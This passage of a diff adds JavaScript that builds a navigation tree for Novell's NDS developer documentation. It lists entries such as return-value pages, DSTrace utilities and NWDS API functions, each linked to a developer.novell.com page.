+ var navElement = navigationLink("NDS Bindery Objects ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hq4w9le6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hbjry4gt.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Return Values from the Operating System ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h5h16q77.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Client Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/he2lvhfy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Agent Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hcvwzt90.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Directory Services Trace Utilities ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hujirj2n.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Using the DSTrace NLM ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hmg1e5gn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Using Basic SET DSTrace Commands ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hdn0smja.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Starting Background Processes with SET DSTrace ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h5pjd8fv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tuning Background Processes ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hhv9cqpk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Enabling DSTrace Messages with SET DSTrace ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hcah5j8v.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Core Services ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h2y7hdit.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Programming Concepts ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h2x9gqr9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handles ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huynzi7a.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Management ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h9xiygoj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Read Requests for Object Information ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7d6try4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Search Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h11es6ae.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Developing in a Loosely Consistent Environment ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hsaqomj7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Add Object Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqjws9hi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Security and Applications ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h3xwyggn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication of Client Applications ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h0m1k6ck.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Multiple Tree Support ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hu5a8flo.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Effective Rights Function ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he06edkq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/ha7fzu9h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpmsr4w7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Read Requests for Schema Information ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h0a2o4v9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Extension Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hrgy5k6e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handle Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hw34ixeu.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hb1nkqk4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication and Connection Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huzx6sda.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hddp9m9i.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition and Replica Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpx2o69b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hp85l75p.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAbbreviateName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAbortPartitionOperation ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddFilterToken ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk153.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddPartition (obsolete&#45;&#45;&#45;moved from .h file 11/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddReplica ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddSecurityEquiv ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk189.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAllocBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk198.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAllocFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk207.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuditGetObjectID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk216.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticate ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk225.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticateConn ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk234.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticateConnEx ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a3fvxoz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSBackupObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk243.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSBeginClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk252.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCanDSAuthenticate ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk261.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCanonicalizeName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk270.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSChangeObjectPassword ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk279.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSChangeReplicaType ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk288.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCIStringsMatch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk297.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCloseIteration ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk305.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCompare ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk314.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSComputeAttrValSize ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk360.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCreateContext (obsolete&#45;&#45;&#45;moved from .h file 6/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk369.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCreateContextHandle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk371.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDefineAttr ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk382.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDefineClass ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk391.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDelFilterToken ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk402.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDuplicateContext (obsolete 03/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDuplicateContextHandle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk423.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncList ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncRead ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk443.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncSearch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk455.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk465.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk491.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGenerateObjectKeyPair ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk501.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk511.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk521.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrValFlags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk550.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrValModTime ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk558.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetBinderyContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk566.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk603.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassDefCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk691.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk769.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassItemCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk838.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk919.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetCountByClassAndName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk972.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetCurrentUser ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1031.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDefNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1041.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDSIInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1117.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDSVerInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1209.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetEffectiveRights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1274.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetMonitoredConnRef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1346.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetNDSInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1425.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectHostServerAddress ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1604.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1640.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectNameAndInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1700.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionExtInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1781.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionExtInfoPtr ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionRoot ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2001.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerAddresses (obsolete 3/98) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2021.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerAddresses2 ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2030.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2039.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2047.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2056.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2065.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2074.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSInitBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSInspectEntry ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2091.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSJoinPartitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2099.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSList ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2108.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
